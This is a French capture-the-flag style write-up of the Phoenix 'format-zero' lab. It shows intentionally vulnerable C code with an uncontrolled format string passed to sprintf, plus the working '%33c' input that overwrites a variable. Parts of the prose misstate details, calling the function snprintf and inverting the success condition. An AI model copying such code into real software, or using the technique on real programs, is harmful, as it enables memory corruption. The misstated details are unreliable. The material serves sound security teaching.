kiddie
.:: @OREL ::.

Phoenix - Format string - Format 0
[ 05/08/2019 ]
Copie originale : [https]://exploit.education/phoenix/format-zero/ --- [0 - Énoncé [1 - Description du programme [1.1 - Code Source [1.2 - Identification de la vulnérabilité [2 - Méthodologie pour l'exploitation [3 - Exploitation de la vulnérabilité [4 - Conclusion ---
[0 - Énoncé
This level introduces format strings, and how attacker supplied format strings can modify program execution. Hints man 3 printf Exploiting Format String Vulnerabilities
[1 - Description du programme
[1.1 - Code Source
/* * phoenix/format-zero, by https://exploit.education * * Can you change the "changeme" variable? * * 0 bottles of beer on the wall, 0 bottles of beer! You take one down, and * pass it around, 4294967295 bottles of beer on the wall! */ #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" int main(int argc, char **argv) { struct { char dest[32]; volatile int changeme; } locals; char buffer[16]; printf("%s\n", BANNER); if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) { errx(1, "Unable to get buffer"); } buffer[15] = 0; locals.changeme = 0; sprintf(locals.dest, buffer); if (locals.changeme != 0) { puts("Well done, the 'changeme' variable has been changed!"); } else { puts( "Uh oh, 'changeme' has not yet been changed. Would you like to try " "again?"); } exit(0); }
Le programme comporte une struture nommée locals composées de deux variables, un tableau de 32 char noté dest et un integer volatile noté changeme, puis, une variable notée buffer définie comme un tableau de 16 est déclarée. La fonction fgets() est appelée, celle-ci va copier le contenu de l'entrée standard dans la variable buffer en limitant la taille de la chaîne copiée à sizeof(buffer) - 1. Ensuite, snprintf() est appelée avec locals.dest et buffer en arguments, le contenu de buffer va être interprété si besoin et copié dans locals.dest. Après cette copie, si changeme vaut 0, l'exercice est réussi.
[1.2 - identification de la vulnérabilité
Dans ce programme, le contenu d'une chaîne passée par l'entrée utilisateur est copié dans un buffer avec snprintf, cette fonction accepte les chaînes qui respecte un certain format définit dans le man. Comme tous langages de programmation, il est possible d'afficher des variables de façon formatée, la section Conversion specifiers du manuel définie tous les formats acceptés. Lors de l'appel à snprintf() sur buffer, la variable qu'on contrôle, on va pouvoir spécifier des formats qui seront intépertré même si l'argument est manquant.
[2 - Méthodologie d'exploitation
La taille de buffer étant de 16 char, il est assez aisé d'atteindre les 32 octets nécessaire pour écraser changeme, pour cela, on peut afficher un caractère avec %c et ajouter des espaces pour atteindre change et écraser son LSB(Least Significant Byte pour octet de poids faible) avec un espace soit 0x20 en hexadécimal.
[3 - Exploitation de la vulnérabilité
user@phoenix-amd64:/opt/phoenix/amd64$ echo -n "%33c" | ./format-zero Welcome to phoenix/format-zero, brought to you by https://exploit.education Well done, the 'changeme' variable has been changed!
[4 - Conclusion
Cette première format string introduit le principe des vulnérabilités basées sur les chaînes de formats, lorsque l'entrée utilisateur n'est pas contrôlée et qu'elle est interprétée, il est possible de corrompre le programme en réécrivant des valeurs tout comme on l'a fait avec les buffer overflow. Pour éviter ce type de vulnérabilité, il est primordial d'utilser printf("%s", chaîne).

Tout est faux tout est conforme.